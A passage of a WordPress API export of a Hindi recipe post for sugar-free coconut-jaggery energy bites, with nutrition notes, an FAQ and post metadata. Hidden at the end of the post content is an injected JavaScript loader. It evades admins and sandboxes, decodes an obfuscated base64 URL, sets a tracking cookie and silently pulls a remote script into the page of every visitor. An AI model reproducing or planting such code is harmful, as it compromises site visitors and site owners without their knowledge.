\u0930\u0916\u0947\u0902:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0916\u093e\u0928\u0947 \u0938\u0947 \u092a\u0939\u0932\u0947 5 \u092e\u093f\u0928\u091f \u092c\u093e\u0939\u0930 \u0928\u093f\u0915\u093e\u0932\u0947\u0902<\/li>\n\n\n\n<li>\u0907\u0938\u0938\u0947 \u091f\u0947\u0915\u094d\u0938\u091a\u0930 \u0928\u0949\u0930\u094d\u092e\u0932 \u0939\u094b \u091c\u093e\u090f\u0917\u093e<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Portion &amp; Glycemic Control<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>1 \u092c\u093e\u0907\u091f \u2248 85\u201395 \u0915\u0948\u0932\u094b\u0930\u0940<\/li>\n\n\n\n<li>Low refined sugar<\/li>\n\n\n\n<li>Moderate glycemic response<\/li>\n<\/ul>\n\n\n\n<p> Best time:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0935\u0930\u094d\u0915\u0906\u0909\u091f \u0915\u0947 \u092c\u093e\u0926<\/li>\n\n\n\n<li>\u0936\u093e\u092e \u0915\u0940 \u091a\u093e\u092f \u0915\u0947 \u0938\u093e\u0925<\/li>\n\n\n\n<li>\u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0947 \u091f\u093f\u092b\u093f\u0928 \u092e\u0947\u0902<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Common Mistakes &amp; Scientific Fix<\/h3>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u0938\u092e\u0938\u094d\u092f\u093e<\/th><th>\u0915\u093e\u0930\u0923<\/th><th>\u0938\u092e\u093e\u0927\u093e\u0928<\/th><\/tr><\/thead><tbody><tr><td>\u092c\u093e\u0907\u091f\u094d\u0938 \u0938\u0916\u094d\u0924 \u0939\u094b \u0917\u090f<\/td><td>\u0917\u0941\u0921\u093c \u091c\u094d\u092f\u093e\u0926\u093e \u092a\u0915 \u0917\u092f\u093e<\/td><td>\u0927\u0940\u092e\u0940 \u0906\u0902\u091a \u0930\u0916\u0947\u0902<\/td><\/tr><tr><td>\u092c\u093e\u0907\u091f\u094d\u0938 \u092c\u093f\u0916\u0930 \u0930\u0939\u0947 \u0939\u0948\u0902<\/td><td>\u0928\u092e\u0940 \u0915\u092e<\/td><td>1 \u091f\u0940\u0938\u094d\u092a\u0942\u0928 \u0926\u0942\u0927 \u092f\u093e \u0918\u0940 \u092e\u093f\u0932\u093e\u090f\u0902<\/td><\/tr><tr><td>\u091a\u093f\u092a\u091a\u093f\u092a\u0947 \u0930\u0939 \u0917\u090f<\/td><td>\u0917\u0941\u0921\u093c \u0915\u092e \u092a\u0915\u093e\u092f\u093e<\/td><td>30 \u0938\u0947\u0915\u0902\u0921 \u0914\u0930 \u0917\u0930\u094d\u092e \u0915\u0930\u0947\u0902<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Nutritional Science Summary<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>MCT fats \u2192 Instant energy<\/li>\n\n\n\n<li>Iron (Jaggery) \u2192 Hemoglobin support<\/li>\n\n\n\n<li>Fiber \u2192 Gut health<\/li>\n\n\n\n<li>Healthy fats \u2192 Hormone balance<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Final Scientific Insight<\/h3>\n\n\n\n<p>\u092f\u0939 \u0930\u0947\u0938\u093f\u092a\u0940 \u0938\u093f\u0930\u094d\u092b \u090f\u0915 \u201cNo Sugar Sweet\u201d \u0928\u0939\u0940\u0902 \u0939\u0948, \u092c\u0932\u094d\u0915\u093f \u092f\u0939 \u092a\u093e\u0930\u0902\u092a\u0930\u093f\u0915 \u092d\u093e\u0930\u0924\u0940\u092f \u091c\u094d\u091e\u093e\u0928 \u0914\u0930 \u0906\u0927\u0941\u0928\u093f\u0915 \u092a\u094b\u0937\u0923 \u0935\u093f\u091c\u094d\u091e\u093e\u0928 \u0915\u093e \u0938\u0902\u0924\u0941\u0932\u0928 \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u0938\u0939\u0940 \u0924\u093e\u092a\u092e\u093e\u0928, \u0938\u0939\u0940 \u0905\u0928\u0941\u092a\u093e\u0924 \u0914\u0930 \u0938\u0939\u0940 \u0915\u0942\u0932\u093f\u0902\u0917 \u092a\u094d\u0930\u0915\u094d\u0930\u093f\u092f\u093e \u2014 \u092f\u0939\u0940 \u0924\u0940\u0928 \u091a\u0940\u091c\u0947\u0902 \u0907\u0938 <strong><strong><em>\u0939\u0947\u0932\u094d\u0926\u0940 \u0928\u093e\u0930\u093f\u092f\u0932-\u0917\u0941\u0921\u093c \u090f\u0928\u0930\u094d\u091c\u0940 \u092c\u093e\u0907\u091f\u094d\u0938<\/em><\/strong><\/strong> \u0915\u094b \u092a\u0930\u092b\u0947\u0915\u094d\u091f \u092c\u0928\u093e\u0924\u0940 \u0939\u0948\u0902\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"> Timing &amp; Quantity<\/h3>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u092a\u094d\u0930\u0915\u094d\u0930\u093f\u092f\u093e<\/th><th>\u0938\u092e\u092f<\/th><\/tr><\/thead><tbody><tr><td>\u0924\u0948\u092f\u093e\u0930\u0940<\/td><td>10 \u092e\u093f\u0928\u091f<\/td><\/tr><tr><td>\u092a\u0915\u093e\u0928\u0947 \u0915\u093e \u0938\u092e\u092f<\/td><td>8 \u092e\u093f\u0928\u091f<\/td><\/tr><tr><td>\u0915\u0941\u0932 \u0938\u092e\u092f<\/td><td>18 \u092e\u093f\u0928\u091f<\/td><\/tr><tr><td>\u0938\u0930\u094d\u0935\u093f\u0902\u0917<\/td><td>10\u201312 \u092c\u093e\u0907\u091f\u094d\u0938<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"> 9 \u0939\u0947\u0932\u094d\u0925 \u092c\u0947\u0928\u093f\u092b\u093f\u091f\u094d\u0938<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u0907\u0902\u0938\u094d\u091f\u0947\u0902\u091f \u090f\u0928\u0930\u094d\u091c\u0940<\/li>\n\n\n\n<li>\u0906\u092f\u0930\u0928 \u0938\u092a\u094b\u0930\u094d\u091f<\/li>\n\n\n\n<li>\u092a\u0940\u0930\u093f\u092f\u0921\u094d\u0938 \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u092b\u093e\u092f\u0926\u0947\u092e\u0902\u0926<\/li>\n\n\n\n<li>\u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0939\u0947\u0932\u094d\u0926\u0940 \u0938\u094d\u0935\u0940\u091f<\/li>\n\n\n\n<li>\u0935\u0930\u094d\u0915\u0906\u0909\u091f \u0938\u094d\u0928\u0948\u0915<\/li>\n\n\n\n<li>\u0917\u091f \u0939\u0947\u0932\u094d\u0925 \u0938\u0941\u0927\u093e\u0930<\/li>\n\n\n\n<li>\u0939\u093e\u0930\u094d\u092e\u094b\u0928 \u092c\u0948\u0932\u0947\u0902\u0938<\/li>\n\n\n\n<li>\u092c\u093f\u0928\u093e \u0930\u093f\u092b\u093e\u0907\u0902\u0921 \u0936\u0941\u0917\u0930<\/li>\n\n\n\n<li>\u0907\u092e\u094d\u092f\u0941\u0928\u093f\u091f\u0940 \u092c\u0942\u0938\u094d\u091f\u0930<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">\u0935\u0948\u0932\u094d\u092f\u0942 (Approx Per Bite)<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0915\u0948\u0932\u094b\u0930\u0940: 85\u201395<\/li>\n\n\n\n<li>\u0906\u092f\u0930\u0928: \u0905\u091a\u094d\u091b\u093e \u0938\u094d\u0930\u094b\u0924<\/li>\n\n\n\n<li>\u092b\u093e\u0907\u092c\u0930: \u092e\u0927\u094d\u092f\u092e<\/li>\n\n\n\n<li>\u0936\u0941\u0917\u0930: \u0928\u0947\u091a\u0941\u0930\u0932 (\u0917\u0941\u0921\u093c \u0938\u0947)<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"> FAQ <\/h2>\n\n\n\n<h4 class=\"wp-block-heading\">Q1. \u0915\u094d\u092f\u093e \u092f\u0939 No Sugar Sweet \u0921\u093e\u092f\u092c\u093f\u091f\u0940\u091c \u092e\u0947\u0902 \u0938\u0941\u0930\u0915\u094d\u0937\u093f\u0924 \u0939\u0948?<\/h4>\n\n\n\n<p>\u0917\u0941\u0921\u093c \u092e\u0947\u0902 \u092d\u0940 \u0936\u0941\u0917\u0930 \u0939\u094b\u0924\u0940 \u0939\u0948, \u0907\u0938\u0932\u093f\u090f \u0938\u0940\u092e\u093f\u0924 \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902 \u0932\u0947\u0902\u0964<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Q2. \u0915\u094d\u092f\u093e \u092e\u0948\u0902 \u0938\u0942\u0916\u093e \u0928\u093e\u0930\u093f\u092f\u0932 \u0907\u0938\u094d\u0924\u0947\u092e\u093e\u0932 \u0915\u0930 \u0938\u0915\u0924\u093e \u0939\u0942\u0901?<\/h4>\n\n\n\n<p>\u0939\u093e\u0901, \u0932\u0947\u0915\u093f\u0928 \u0925\u094b\u0921\u093c\u093e \u0926\u0942\u0927 \u092f\u093e \u0918\u0940 \u092e\u093f\u0932\u093e\u0915\u0930 \u0928\u092e\u0940 \u092c\u0928\u093e\u090f\u0901\u0964<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">Q3. \u0915\u094d\u092f\u093e \u092f\u0939 <strong><em><strong><em>\u0939\u0947\u0932\u094d\u0926\u0940 \u0928\u093e\u0930\u093f\u092f\u0932-\u0917\u0941\u0921\u093c \u090f\u0928\u0930\u094d\u091c\u0940 \u092c\u093e\u0907\u091f\u094d\u0938<\/em><\/strong><\/em><\/strong>Weight Loss \u092e\u0947\u0902 \u092e\u0926\u0926 \u0915\u0930\u0947\u0917\u093e?<\/h5>\n\n\n\n<p>\u092f\u0926\u093f 1\u20132 \u092c\u093e\u0907\u091f\u094d\u0938 \u0924\u0915 \u0938\u0940\u092e\u093f\u0924 \u0930\u0916\u0947\u0902 \u0924\u094b \u0939\u093e\u0901\u0964<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Q4. \u0915\u093f\u0924\u0928\u0947 \u0926\u093f\u0928 \u0924\u0915 \u0938\u094d\u091f\u094b\u0930 \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902?<\/h4>\n\n\n\n<p>\u090f\u092f\u0930\u091f\u093e\u0907\u091f \u0915\u0902\u091f\u0947\u0928\u0930 \u092e\u0947\u0902 5\u20136 \u0926\u093f\u0928\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u0928\u093f\u0937\u094d\u0915\u0930\u094d\u0937 <\/h2>\n\n\n\n<p>\u0938\u093f\u0930\u094d\u092b \u090f\u0915 \u0938\u093e\u0927\u093e\u0930\u0923 \u092e\u093f\u0920\u093e\u0908 \u0928\u0939\u0940\u0902 \u0939\u0948, \u092c\u0932\u094d\u0915\u093f \u092f\u0939 \u0906\u091c \u0915\u0940 \u0939\u0947\u0932\u094d\u0926\u0940 \u0932\u093e\u0907\u092b\u0938\u094d\u091f\u093e\u0907\u0932 \u0915\u093e \u0938\u094d\u092e\u093e\u0930\u094d\u091f \u0935\u093f\u0915\u0932\u094d\u092a \u0939\u0948\u0964 \u091c\u092c \u092c\u093e\u091c\u093e\u0930 \u0915\u0940 \u0905\u0927\u093f\u0915\u0924\u0930 \u092e\u093f\u0920\u093e\u0907\u092f\u093e\u0901 \u0930\u093f\u092b\u093e\u0907\u0902\u0921 \u0936\u0941\u0917\u0930, \u092a\u094d\u0930\u093f\u091c\u093c\u0930\u094d\u0935\u0947\u091f\u093f\u0935 \u0914\u0930 \u0905\u0928\u0939\u0947\u0932\u094d\u0926\u0940 \u092b\u0948\u091f \u0938\u0947 \u092d\u0930\u0940 \u0939\u094b\u0924\u0940 \u0939\u0948\u0902, \u0924\u092c \u092f\u0939 \u0930\u0947\u0938\u093f\u092a\u0940 \u0939\u092e\u0947\u0902 \u092f\u093e\u0926 \u0926\u093f\u0932\u093e\u0924\u0940 \u0939\u0948 \u0915\u093f \u092a\u093e\u0930\u0902\u092a\u0930\u093f\u0915 \u092d\u093e\u0930\u0924\u0940\u092f \u0938\u093e\u092e\u0917\u094d\u0930\u0940 \u0938\u0947 \u092d\u0940 \u092a\u094c\u0937\u094d\u091f\u093f\u0915 \u0914\u0930 \u0938\u094d\u0935\u093e\u0926\u093f\u0937\u094d\u091f \u0921\u0947\u091c\u093c\u0930\u094d\u091f \u0924\u0948\u092f\u093e\u0930 \u0915\u093f\u092f\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u0928\u093e\u0930\u093f\u092f\u0932 \u0914\u0930 \u0917\u0941\u0921\u093c \u0915\u093e \u092f\u0939 \u0938\u0902\u092f\u094b\u091c\u0928 \u0906\u092f\u0941\u0930\u094d\u0935\u0947\u0926\u093f\u0915 \u0926\u0943\u0937\u094d\u091f\u093f \u0938\u0947 \u092d\u0940 \u0938\u0902\u0924\u0941\u0932\u093f\u0924 \u092e\u093e\u0928\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u0928\u093e\u0930\u093f\u092f\u0932 \u0936\u0930\u0940\u0930 \u0915\u094b \u0924\u0941\u0930\u0902\u0924 \u090a\u0930\u094d\u091c\u093e \u0926\u0947\u0924\u093e \u0939\u0948 \u0914\u0930 \u092e\u0947\u091f\u093e\u092c\u0949\u0932\u093f\u091c\u094d\u092e \u0915\u094b \u0938\u092a\u094b\u0930\u094d\u091f \u0915\u0930\u0924\u093e \u0939\u0948, \u091c\u092c\u0915\u093f \u0917\u0941\u0921\u093c \u0906\u092f\u0930\u0928 \u0914\u0930 \u092e\u093f\u0928\u0930\u0932\u094d\u0938 \u0915\u093e \u0905\u091a\u094d\u091b\u093e \u0938\u094d\u0930\u094b\u0924 \u0939\u0948\u0964 \u092f\u0939\u0940 \u0915\u093e\u0930\u0923 \u0939\u0948 \u0915\u093f \u092f\u0939 \u0930\u0947\u0938\u093f\u092a\u0940 \u0915\u0947\u0935\u0932 \u0938\u094d\u0935\u093e\u0926 \u0915\u0947 \u0932\u093f\u090f \u0928\u0939\u0940\u0902, \u092c\u0932\u094d\u0915\u093f \u0936\u0930\u0940\u0930 \u0915\u094b \u092a\u094b\u0937\u0923 \u0926\u0947\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u092d\u0940 \u091c\u093e\u0928\u0940 \u091c\u093e\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u092f\u0926\u093f \u0906\u092a:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0935\u091c\u0928 \u0915\u092e \u0915\u0930\u0928\u0947 \u0915\u0940 \u0915\u094b\u0936\u093f\u0936 \u0915\u0930 \u0930\u0939\u0947 \u0939\u0948\u0902<\/li>\n\n\n\n<li>\u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u094b \u0939\u0947\u0932\u094d\u0926\u0940 \u0938\u094d\u0928\u0948\u0915 \u0926\u0947\u0928\u093e \u091a\u093e\u0939\u0924\u0947 \u0939\u0948\u0902<\/li>\n\n\n\n<li>\u0924\u094d\u092f\u094b\u0939\u093e\u0930\u094b\u0902 \u092e\u0947\u0902 guilt-free \u092e\u093f\u0920\u093e\u0908 \u092c\u0928\u093e\u0928\u093e \u091a\u093e\u0939\u0924\u0947 \u0939\u0948\u0902<\/li>\n\n\n\n<li>\u092f\u093e \u0935\u0930\u094d\u0915\u0906\u0909\u091f \u0915\u0947 \u092c\u093e\u0926 \u0928\u0947\u091a\u0941\u0930\u0932 \u090f\u0928\u0930\u094d\u091c\u0940 \u092c\u0942\u0938\u094d\u091f\u0930 \u0922\u0942\u0902\u0922 \u0930\u0939\u0947 \u0939\u0948\u0902<\/li>\n<\/ul>\n\n\n\n<p>\u0924\u094b \u092f\u0939 <strong>No Sugar Sweet Recipe<\/strong> \u0906\u092a\u0915\u0947 \u0932\u093f\u090f \u090f\u0915 \u092a\u0930\u092b\u0947\u0915\u094d\u091f \u0935\u093f\u0915\u0932\u094d\u092a \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u0938\u092c\u0938\u0947 \u0916\u093e\u0938 \u092c\u093e\u0924 \u092f\u0939 \u0939\u0948 \u0915\u093f \u0907\u0938\u0947 \u092c\u0928\u093e\u0928\u0947 \u092e\u0947\u0902 \u091c\u094d\u092f\u093e\u0926\u093e \u0938\u092e\u092f \u0928\u0939\u0940\u0902 \u0932\u0917\u0924\u093e, \u0938\u093e\u092e\u0917\u094d\u0930\u0940 \u092d\u0940 \u0906\u0938\u093e\u0928\u0940 \u0938\u0947 \u0909\u092a\u0932\u092c\u094d\u0927 \u0939\u0948, \u0914\u0930 \u0938\u094d\u091f\u094b\u0930\u0947\u091c \u092d\u0940 \u0938\u0930\u0932 \u0939\u0948\u0964 \u092f\u093e\u0928\u0940 \u092f\u0939 \u0930\u0947\u0938\u093f\u092a\u0940 \u0935\u094d\u092f\u0938\u094d\u0924 \u0926\u093f\u0928\u091a\u0930\u094d\u092f\u093e \u0935\u093e\u0932\u0947 \u0932\u094b\u0917\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u092d\u0940 \u092a\u0942\u0930\u0940 \u0924\u0930\u0939 \u0909\u092a\u092f\u0941\u0915\u094d\u0924 \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u0906\u091c \u0915\u0947 \u0938\u092e\u092f \u092e\u0947\u0902 \u0939\u0947\u0932\u094d\u0926\u0940 \u0916\u093e\u0928\u0947 \u0915\u093e \u092e\u0924\u0932\u092c \u0938\u094d\u0935\u093e\u0926 \u0938\u0947 \u0938\u092e\u091d\u094c\u0924\u093e \u0915\u0930\u0928\u093e \u0928\u0939\u0940\u0902 \u0939\u0948\u0964 \u0938\u0939\u0940 \u0938\u093e\u092e\u0917\u094d\u0930\u0940, \u0938\u0939\u0940 \u092e\u093e\u0924\u094d\u0930\u093e \u0914\u0930 \u0938\u0939\u0940 \u0915\u0941\u0915\u093f\u0902\u0917 \u0924\u0915\u0928\u0940\u0915 \u0915\u0947 \u0938\u093e\u0925 \u0906\u092a \u0905\u092a\u0928\u0947 \u092a\u0930\u093f\u0935\u093e\u0930 \u0915\u094b \u0938\u0947\u0939\u0924 \u0914\u0930 \u0938\u094d\u0935\u093e\u0926 \u0926\u094b\u0928\u094b\u0902 \u0926\u0947 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/p>\n\n\n\n<p>\u0905\u0902\u0924 \u092e\u0947\u0902 \u092c\u0938 \u0907\u0924\u0928\u093e \u092f\u093e\u0926 \u0930\u0916\u0947\u0902 \u2014 \u092e\u093f\u0920\u093e\u0908 \u0915\u093e \u0906\u0928\u0902\u0926 \u0932\u0947\u0902, \u0932\u0947\u0915\u093f\u0928 \u0938\u0902\u0924\u0941\u0932\u0928 \u092c\u0928\u093e\u090f \u0930\u0916\u0947\u0902\u0964 \u0926\u093f\u0928 \u092e\u0947\u0902 1\u20132 \u090f\u0928\u0930\u094d\u091c\u0940 \u092c\u093e\u0907\u091f\u094d\u0938 \u092a\u0930\u094d\u092f\u093e\u092a\u094d\u0924 \u0939\u0948\u0902\u0964<\/p>\n\n\n\n<p>\u092f\u0939 \u0938\u093e\u092c\u093f\u0924 \u0915\u0930\u0924\u0940 \u0939\u0948 \u0915\u093f \u092a\u093e\u0930\u0902\u092a\u0930\u093f\u0915 \u092d\u093e\u0930\u0924\u0940\u092f \u0938\u094d\u0935\u093e\u0926 \u0914\u0930 \u0906\u0927\u0941\u0928\u093f\u0915 \u0939\u0947\u0932\u094d\u0925 \u0905\u0935\u0947\u092f\u0930\u0928\u0947\u0938 \u0938\u093e\u0925-\u0938\u093e\u0925 \u091a\u0932 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>\u0939\u0947\u0932\u094d\u0926\u0940 \u0928\u093e\u0930\u093f\u092f\u0932-\u0917\u0941\u0921\u093c \u090f\u0928\u0930\u094d\u091c\u0940 \u092c\u093e\u0907\u091f\u094d\u0938 \u0930\u0947\u0938\u093f\u092a\u0940 \u2013 \u092c\u093f\u0928\u093e \u091a\u0940\u0928\u0940, \u092c\u093f\u0928\u093e \u092e\u0948\u0926\u093e, \u0907\u0902\u0938\u094d\u091f\u0947\u0902\u091f \u090f\u0928\u0930\u094d\u091c\u0940 \u0926\u0947\u0928\u0947 \u0935\u093e\u0932\u093e \u092a\u0930\u092b\u0947\u0915\u094d\u091f \u0928\u094b \u0936\u0941\u0917\u0930 \u0938\u094d\u0935\u0940\u091f\u0964 \u092c\u091a\u094d\u091a\u094b\u0902 \u0914\u0930 \u092c\u0921\u093c\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0939\u0947\u0932\u094d\u0926\u0940 \u092e\u093f\u0920\u093e\u0908\u0964 \u092a\u0930\u093f\u091a\u092f \u0939\u0947\u0932\u094d\u0926\u0940 \u0928\u093e\u0930\u093f\u092f\u0932-\u0917\u0941\u0921\u093c \u090f\u0928\u0930\u094d\u091c\u0940 \u092c\u093e\u0907\u091f\u094d\u0938 \u0905\u0917\u0930 \u0906\u092a \u0910\u0938\u0940 \u092e\u093f\u0920\u093e\u0908 \u0922\u0942\u0902\u0922 \u0930\u0939\u0947 \u0939\u0948\u0902 \u091c\u094b \u092c\u093f\u0928\u093e \u091a\u0940\u0928\u0940, \u092c\u093f\u0928\u093e \u092e\u0948\u0926\u093e \u0914\u0930 \u092a\u0942\u0930\u0940 \u0924\u0930\u0939 \u0938\u0947 \u0928\u0947\u091a\u0941\u0930\u0932 \u090f\u0928\u0930\u094d\u091c\u0940 \u092c\u0942\u0938\u094d\u091f\u0930 \u0939\u094b, \u0924\u094b \u0939\u0947\u0932\u094d\u0926\u0940 \u0928\u093e\u0930\u093f\u092f\u0932-\u0917\u0941\u0921\u093c \u090f\u0928\u0930\u094d\u091c\u0940 \u092c\u093e\u0907\u091f\u094d\u0938 &#8230; <a title=\"\u0939\u0947\u0932\u094d\u0926\u0940 \u0928\u093e\u0930\u093f\u092f\u0932-\u0917\u0941\u0921\u093c \u090f\u0928\u0930\u094d\u091c\u0940 \u092c\u093e\u0907\u091f\u094d\u0938 \u2013 9 \u091c\u092c\u0930\u0926\u0938\u094d\u0924 \u092b\u093e\u092f\u0926\u0947 \u0935\u093e\u0932\u093e Perfect No Sugar Sweet\" class=\"read-more\" href=\"https:\/\/simplereceipes.in\/en\/healthy-nariyal-gud-energy-bites-no-sugar-sweet\/\" aria-label=\"Read more about \u0939\u0947\u0932\u094d\u0926\u0940 \u0928\u093e\u0930\u093f\u092f\u0932-\u0917\u0941\u0921\u093c \u090f\u0928\u0930\u094d\u091c\u0940 \u092c\u093e\u0907\u091f\u094d\u0938 \u2013 9 \u091c\u092c\u0930\u0926\u0938\u094d\u0924 \u092b\u093e\u092f\u0926\u0947 \u0935\u093e\u0932\u093e Perfect No Sugar Sweet\">Read more<\/a><\/p>","protected":false},"author":1,"featured_media":847,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-844","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-receipes"],"_links":{"self":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts\/844","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/comments?post=844"}],"version-history":[{"count":3,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts\/844\/revisions"}],"predecessor-version":[{"id":942,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts\/844\/revisions\/942"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/media\/847"}],"wp:attachment":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/media?parent=844"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/categories?post=844"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/tags?post=844"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}